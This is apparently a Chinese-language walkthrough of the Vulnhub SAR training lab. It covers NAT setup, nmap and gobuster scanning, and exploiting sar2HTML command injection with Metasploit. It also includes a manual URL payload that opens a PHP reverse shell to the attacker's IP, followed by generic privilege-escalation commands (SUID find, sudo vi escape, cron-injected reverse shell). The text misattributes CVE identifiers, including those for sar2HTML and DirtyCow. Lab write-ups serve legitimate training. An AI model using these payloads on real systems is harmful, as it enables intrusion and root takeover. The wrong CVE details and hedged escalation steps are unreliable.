从NAT网络配置到sar2HTML漏洞利用:Vulnhub SAR靶机渗透实战
2026/7/4 15:41:59 网站建设 项目流程

1. 项目概述与靶机环境搭建

最近在Vulnhub上发现一个名为“SAR”的靶机,它因一个经典的sar2HTML组件漏洞而闻名,是练习Web应用渗透和权限提升的绝佳目标。这个靶机模拟了一个存在已知漏洞的服务器环境,对于想从基础开始,理解漏洞利用完整链条的朋友来说,非常有价值。整个项目不仅涉及漏洞的发现与利用,还绕不开一个前期关键步骤:如何正确配置虚拟机的网络,特别是NAT模式,确保你的攻击机(比如Kali Linux)能和靶机正常通信。很多新手往往卡在这一步,看着靶机却“打”不进去。所以,这篇内容我会从最底层的网络配置讲起,手把手带你搭建好实验环境,然后一步步深入,直到最终拿到靶机的最高权限。无论你是刚开始接触渗透测试,还是想巩固一下基础流程,都能从这里获得清晰的指引和可复现的操作。

2. 核心思路与攻击路径规划

面对一个未知的靶机,盲目的扫描和测试效率很低。我们需要一个清晰的攻击思路。SAR靶机的核心突破口在于其Web服务中集成了一个存在漏洞的组件:sar2HTML。我们的攻击路径可以规划为“信息收集 -> 漏洞定位与验证 -> 漏洞利用获取初始立足点 -> 权限提升拿到root”。信息收集阶段,我们需要确定靶机的IP地址和开放的端口服务,特别是Web服务。漏洞定位阶段,我们将重点检查Web应用,寻找sar2HTML的踪迹并确认其版本。利用阶段,我们会使用该版本对应的公开漏洞利用代码(Exploit)来获取一个反向Shell连接。最后,在权限提升阶段,我们需要在靶机内部寻找配置错误、SUID文件或内核漏洞等机会,将我们的用户权限提升至root。整个过程的逻辑链条非常清晰,关键在于每一步的细致操作和对反馈信息的正确解读。

2.1 为什么选择NAT网络模式?

在虚拟机环境中,网络连接方式主要有桥接(Bridged)、NAT和仅主机(Host-Only)。对于渗透测试实验,NAT模式是最推荐、也是最安全的选择。原因有三点:首先,隔离性。NAT模式下,靶机和你的攻击机(Kali)处于一个由虚拟机软件(如VMware或VirtualBox)创建的虚拟网络中,这个网络与你的物理主机所在的真实网络是隔离的。这意味着你的扫描和攻击行为只会在这个虚拟网络内发生,不会误伤到同一局域网下的其他真实设备,完全符合安全实验的伦理要求。其次,便利性。虚拟机软件会充当虚拟路由器(DHCP服务器),自动为靶机和Kali分配IP地址(通常是192.168.xx.xx网段),它们之间可以互相通信,同时Kali还能通过主机的网络连接访问互联网,方便我们下载工具或查找资料。最后,可预测性。在稳定的NAT网络下,IP地址段相对固定,便于我们快速定位靶机IP。

注意:有些教程可能会提到桥接模式,它让虚拟机直接接入物理网络,获得一个和物理机同网段的真实IP。这在需要模拟外部攻击时有用,但对于Vulnhub这类个人实验靶机,NAT模式完全足够且更安全,避免了IP冲突和潜在的网络策略限制。

2.2 靶机与攻击机环境准备

工欲善其事,必先利其器。我们需要准备两台虚拟机。

  1. 攻击机(Kali Linux):这是我们的“武器库”。建议从官方网站下载最新的Kali Linux镜像,并使用VMware或VirtualBox安装。安装时,网络适配器直接选择“NAT模式”。安装完成后,启动Kali,在终端输入ip aifconfig命令,查看并记录下自动获取的IP地址(例如192.168.1.10)。同时,确保系统更新到最新:sudo apt update && sudo apt upgrade -y
  2. 靶机(Vulnhub SAR):从Vulnhub官网搜索并下载“SAR”靶机的OVA或压缩包文件。下载后,直接导入到你的虚拟机软件中。关键步骤来了:导入后,先不要启动靶机。右键点击靶机,进入“设置”(或“配置”)。找到“网络”选项,将网络适配器也修改为“NAT模式”。在某些版本(如VMware)中,你可能会看到一个“高级”选项,点击后可以手动“生成”一个新的MAC地址,这有助于避免潜在的冲突,点击“生成”然后确认即可。完成这些设置后,再启动靶机。

启动后,我们需要知道靶机的IP地址。由于NAT模式下是DHCP自动分配,我们无法预先知道。这时,需要在攻击机(Kali)上进行扫描发现。

3. 信息收集与目标侦察

在发动任何“攻击”之前,充分的侦察是成功的一半。这个阶段的目标是绘制出靶机的网络地图:它在哪里(IP地址)?它开了哪些门(开放端口)?这些门后面是什么(运行的服务)?

3.1 网络扫描定位靶机IP

首先,我们需要找出靶机在虚拟网络中的IP地址。最常用的工具是nmap。我们先扫描整个NAT网段。

  1. 确定扫描范围:在Kali上,用ip a查看自己的IP,假设是192.168.1.10,那么子网很可能就是192.168.1.0/24
  2. 进行存活主机扫描:打开终端,输入命令:
    sudo nmap -sn 192.168.1.0/24
    这个-sn参数代表 Ping 扫描,只探测主机是否在线,不扫描端口。命令执行后,nmap会列出所有在线的主机。除了你的Kali(192.168.1.10)和可能的网关(192.168.1.1或2),那个新出现的、主机名可能包含“sar”或未知的IP,就是我们的靶机。假设我们发现了192.168.1.15

3.2 端口与服务深度扫描

找到IP后,下一步是进行全面的端口扫描,了解靶机对外开放了哪些服务。

sudo nmap -sS -sV -O -p- 192.168.1.15

这个命令组合非常强大:

  • -sS: 进行TCP SYN半开放扫描,速度快且相对隐蔽。
  • -sV: 探测端口上运行的服务及其版本信息,这对寻找漏洞至关重要。
  • -O: 尝试识别靶机的操作系统。
  • -p-: 扫描所有65535个端口,确保没有遗漏。

扫描完成后,我们会得到一份详细的报告。对于SAR靶机,典型的扫描结果会显示开放了两个端口:

  • 端口 22/tcp: 运行着OpenSSH服务。这是远程管理端口,通常是我们尝试暴力破解或利用SSH漏洞的地方,但往往不是最易突破的点。
  • 端口 80/tcp: 运行着Apache httpd服务。这就是我们的主攻方向——Web应用。

报告里还会显示Apache的版本号,以及更重要的信息:网站标题或者某些目录线索。此时,我们应该立即用浏览器访问http://192.168.1.15,进行人工查看。

3.3 Web应用目录与敏感文件发现

访问靶机的Web页面,可能会看到一个默认的Apache页面或者一个简单的应用界面。我们需要使用工具进行更深层次的目录和文件枚举,寻找隐藏的入口点,比如管理后台、配置文件、备份文件等。这里使用gobusterdirb

gobuster dir -u http://192.168.1.15 -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
  • dir: 指定进行目录爆破模式。
  • -u: 指定目标URL。
  • -w: 指定字典文件,这里使用了Kali自带的常见目录字典。
  • -x: 指定尝试的文件扩展名,如php、html等。

扫描结果中,一个名为/sar2HTML的目录极有可能出现。这立刻将我们的注意力引向了标题中提到的sar2HTML组件。访问http://192.168.1.15/sar2HTML,如果能看到一个系统监控图表页面,并且在页面底部或帮助信息中看到类似“sar2HTML Version 3.2.1”的字样,那么漏洞目标就基本确认了。

4. 漏洞分析与利用:突破sar2HTML

找到疑似存在漏洞的组件后,我们不能盲目行动,需要先分析漏洞原理,再寻找或制作利用工具。

4.1 sar2HTML漏洞(CVE-2007-3999)原理浅析

sar2HTML 是一个用PHP编写的、用于可视化系统性能数据(sar命令输出)的工具。在3.2.1及之前的版本中,存在一个致命的**远程代码执行(RCE)**漏洞。漏洞根源在于其index.php文件对用户传入的参数过滤不严。

简单来说,该应用通过plot参数来指定生成图表的数据文件。攻击者可以通过构造特殊的plot参数值,例如|ls -la,利用PHP的popen()system()等函数执行系统命令。管道符|在Unix/Linux中用于将前一个命令的输出作为后一个命令的输入,而sar2HTML错误地将其传递给了系统Shell执行,从而导致任意命令执行。

4.2 利用Metasploit框架进行自动化攻击

对于这类有公开Exploit的经典漏洞,使用Metasploit框架可以快速、稳定地完成利用。Metasploit内集成了针对该漏洞的利用模块。

  1. 启动Metasploit:在Kali终端输入msfconsole
  2. 搜索模块:在msf6提示符下输入search sar2html。通常会找到一个名为exploit/linux/http/sar2html_exec的模块。
  3. 使用模块:
    use exploit/linux/http/sar2html_exec
  4. 设置参数:
    set RHOSTS 192.168.1.15 # 设置靶机IP set TARGETURI /sar2HTML # 设置漏洞路径,如果就在根目录则不用设
  5. 选择Payload:我们需要一个反向Shell,让靶机主动连接回我们的攻击机。
    set payload php/meterpreter/reverse_tcp set LHOST 192.168.1.10 # 设置Kali的IP,用于接收连接 set LPORT 4444 # 设置监听端口
  6. 执行攻击:
    exploit
    如果一切顺利,你会看到[*] Sending stage ...[*] Meterpreter session 1 opened的提示,表示已经成功在靶机上执行了代码,并建立了一个Meterpreter会话。输入shell命令,就可以获得一个靶机的交互式命令行(Shell),通常是一个www-data用户的权限(Apache服务运行账户)。

实操心得:使用Metasploit时,LHOST参数必须正确设置为攻击机(Kali)在NAT网络内的IP,而不是物理机的IP。这是新手最容易出错的地方之一。如果exploit后长时间没反应,可以检查LHOST设置,并确保Kali上没有防火墙阻挡4444端口的入站连接。

4.3 手动利用与脚本分析

除了Metasploit,理解手动利用过程也很有价值。我们可以从Exploit-DB等网站找到公开的Python利用脚本。使用脚本前,最好简单阅读一下代码。一个典型的手动利用步骤是:

  1. 在Kali上使用nc(Netcat) 监听一个端口:nc -lvnp 4444
  2. 构造一个特殊的URL,通过plot参数执行反向Shell命令。例如:
    http://192.168.1.15/sar2HTML/index.php?plot=;php+-r+'$sock=fsockopen("192.168.1.10",4444);exec("/bin/sh+-i+<&3+>&3+2>&3");'
    这个URL访问后,会尝试让靶机执行PHP代码,连接到Kali的4444端口,并弹回一个Shell。
  3. 如果成功,在nc的监听窗口就会看到靶机的Shell提示符。

手动利用的成功率受环境(如PHP函数禁用情况)影响较大,而Metasploit的模块通常经过了更多测试和适配。

5. 权限提升:从www-data到root

拿到初始Shell(www-data用户)只是第一步,这个权限通常很低,无法读取敏感文件(如/etc/shadow)或进行系统级操作。我们的最终目标是root权限。这个过程称为权限提升(Privilege Escalation)。

5.1 内部信息收集

在靶机内部,我们需要收集尽可能多的信息来寻找提权线索。以下是一些关键命令:

  • id: 查看当前用户和所属组。
  • uname -a: 查看系统内核版本,用于寻找内核漏洞。
  • sudo -l:非常重要!查看当前用户可以使用sudo执行哪些命令。如果配置不当,可能允许以root身份运行特定程序。
  • find / -type f -perm -4000 2>/dev/null: 查找具有SUID权限的文件。SUID文件在执行时,会以文件所有者的身份运行。如果找到一个属主是root且可写的SUID文件,可能就是突破口。
  • cat /etc/crontab: 查看系统定时任务。是否有以root身份运行的、我们可以修改或影响的脚本?
  • ps aux: 查看运行中的进程,寻找异常或以root运行的服务。
  • netstat -tulpn: 查看网络连接和监听端口,寻找内部服务。

5.2 常见提权路径实战

在SAR靶机中,经过枚举,我们可能会发现以下几种典型的提权路径之一:

路径一:利用配置不当的SUID文件执行find / -type f -perm -4000 2>/dev/null后,仔细检查列表。常见的危险SUID程序有nmap(旧版本)、vimbashfindcpmv等。例如,如果发现/usr/bin/find有SUID位且属主是root,可以尝试利用其执行命令:

/usr/bin/find . -exec /bin/bash -p \; -quit

这里的-exec参数允许执行命令,-p参数会让bash保留特权。执行后,可能直接获得一个root shell。

路径二:利用sudo权限滥用运行sudo -l后,如果返回显示当前用户(www-data)可以以root身份无需密码运行某个命令,例如/usr/bin/vi,那么:

sudo vi /etc/passwd

在vi中,可以通过:!bash:shell命令逃逸到Shell,因为这个Shell是由sudo启动的vi衍生的,所以具有root权限。

路径三:利用内核漏洞如果uname -a显示内核版本较老,可以搜索对应的本地提权漏洞(如DirtyCow, CVE-2016-5199)。在Kali上找到对应的Exploit代码(C语言),编译后上传到靶机(可以用Python的HTTP模块在Kali起一个简易服务器python3 -m http.server 8000,然后在靶机用wget下载),编译执行即可。但这种方法风险较高,可能造成系统崩溃,在靶机环境中最后尝试。

路径四:利用定时任务(Cron Job)查看/etc/crontab,如果发现有一个以root身份定期运行的脚本,且这个脚本的路径我们(www-data用户)有写入权限,那么我们可以替换这个脚本的内容。例如,写入一个反向Shell命令到脚本中,等待Cron执行,我们就能收到一个root权限的Shell连接。

在SAR靶机的实际渗透中,通常会发现一条比较清晰的提权路径。例如,可能在/home目录下发现其他用户的目录,里面有可读的备份文件或脚本,其中包含了密码信息或者密钥。又或者,通过枚举发现了一个非root用户,并且通过查看其历史命令(.bash_history)或配置文件,找到了可以sudo执行的命令。

5.3 获取最终Flag

在Vulnhub的靶机中,最终目标往往是找到“flag”,通常是一个位于/root目录下名为flag.txtproof.txt的文件。当我们通过上述任何一种方法成功将权限提升到root后,就可以直接读取这个文件了。

cat /root/flag.txt

看到文件内容,就意味着整个渗透测试挑战成功完成。

6. 渗透测试后的清理与反思

成功拿到flag并不是终点。一个专业的渗透测试行为,还包括(在授权范围内)清理痕迹,并撰写报告。对于我们的实验环境:

  1. 清理痕迹:检查我们上传的工具、创建的临时文件、修改的系统配置(如crontab、webshell等),并尽可能将其恢复原状。在Meterpreter会话中,可以使用rm命令删除上传的文件。
  2. 反思总结:回顾整个流程。哪里遇到了问题?是如何解决的?sar2HTML漏洞的根源是什么?如何防御?(例如:及时更新或移除有漏洞的组件;对用户输入进行严格过滤和校验)。提权利用的点是什么?是配置错误还是软件漏洞?对应的安全加固措施是什么?(例如:遵循最小权限原则,定期审计SUID文件和sudo权限,保持系统和内核更新)。

这个过程不仅能巩固技术,更能培养安全思维。每一次对靶机的攻克,都是对攻击者视角的一次体验,而这最终是为了更好地从防御者角度去构建安全体系。

7. NAT网络疑难杂症与排查指南

即便按照步骤操作,网络问题仍是最常见的“拦路虎”。这里汇总一些在NAT模式下可能遇到的问题及解决方法。

问题1:Kali能上网,但扫描不到靶机IP。

  • 排查:确认两台虚拟机的网络适配器是否都设置为“NAT模式”(而非“NAT网络”或“桥接”)。在VMware中,确保它们连接到“相同的网络”(如VMnet8)。
  • 解决:在Kali上尝试扫描更大的网段,比如192.168.0.0/16。使用arp-scan工具可能更直接:sudo arp-scan --localnet。最根本的方法是查看靶机的控制台,在登录界面往往能看到分配的IP地址。

问题2:能扫描到靶机IP,但端口扫描显示所有端口都关闭或过滤。

  • 排查:首先确认靶机是否完全启动完毕(等待几分钟)。其次,检查靶机自身的防火墙是否开启。在SAR靶机里,可能默认开启了iptablesufw
  • 解决:这通常是靶机设计的一部分,可能需要你先从开放的80端口Web服务入手。如果确定是防火墙,且你有其他途径(如虚拟机控制台)操作靶机,可以尝试关闭防火墙(实验环境):sudo ufw disablesudo iptables -F

问题3:Metasploit exploit执行后,session创建失败。

  • 排查:这是最复杂的情况。分步检查:
    1. Payload兼容性:靶机是x86还是x64?PHP版本是多少?尝试更换Payload,比如用php/reverse_php替代php/meterpreter/reverse_tcp
    2. 网络连通性:在Kali上telnet 靶机IP 80,看Web服务是否真的可访问。在靶机(如果能有简单命令执行)上尝试ping Kali_IP
    3. 反连端口被阻:尝试更换LPORT为其他高端口(如443、53、8080),有些环境会过滤非常用端口。
    4. Exploit模块问题:尝试使用check命令验证漏洞是否存在(并非所有模块支持)。也可以搜索其他非Metasploit的手动利用脚本。

问题4:获得Shell后,连接不稳定或立即中断。

  • 解决:这是非交互式Shell的常见问题。使用Python快速建立一个更稳定的TTY Shell:
    python3 -c 'import pty; pty.spawn("/bin/bash")'
    或者
    /bin/bash -i
    如果Python可用,这是首选方法。

问题5:WSL2中的Kali与VMware中的靶机无法通信。

  • 背景:如果你在Windows上用WSL2运行Kali,用VMware运行靶机,由于两者处于不同的虚拟网络层,默认无法直接通信。
  • 解决:这不是NAT配置问题,而是混合虚拟化环境的问题。最可靠的解决方案是避免混用。要么全部使用VMware(Kali和靶机都用VMware虚拟机),要么全部使用VirtualBox。如果必须混用,需要将VMware靶机的网络设置为“桥接模式”,并确保它与Windows主机在同一物理网络段,然后在WSL2的Kali中尝试访问Windows主机的IP段。这个过程非常复杂且不稳定,强烈不建议新手采用。

网络问题是渗透测试实验的基础,耐心按照“检查配置 -> 验证连通性 -> 分层排查”的思路,大部分问题都能解决。记住,在虚拟网络里,确保攻击机和靶机在同一个“虚拟交换机”下,是通信成功的第一前提。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询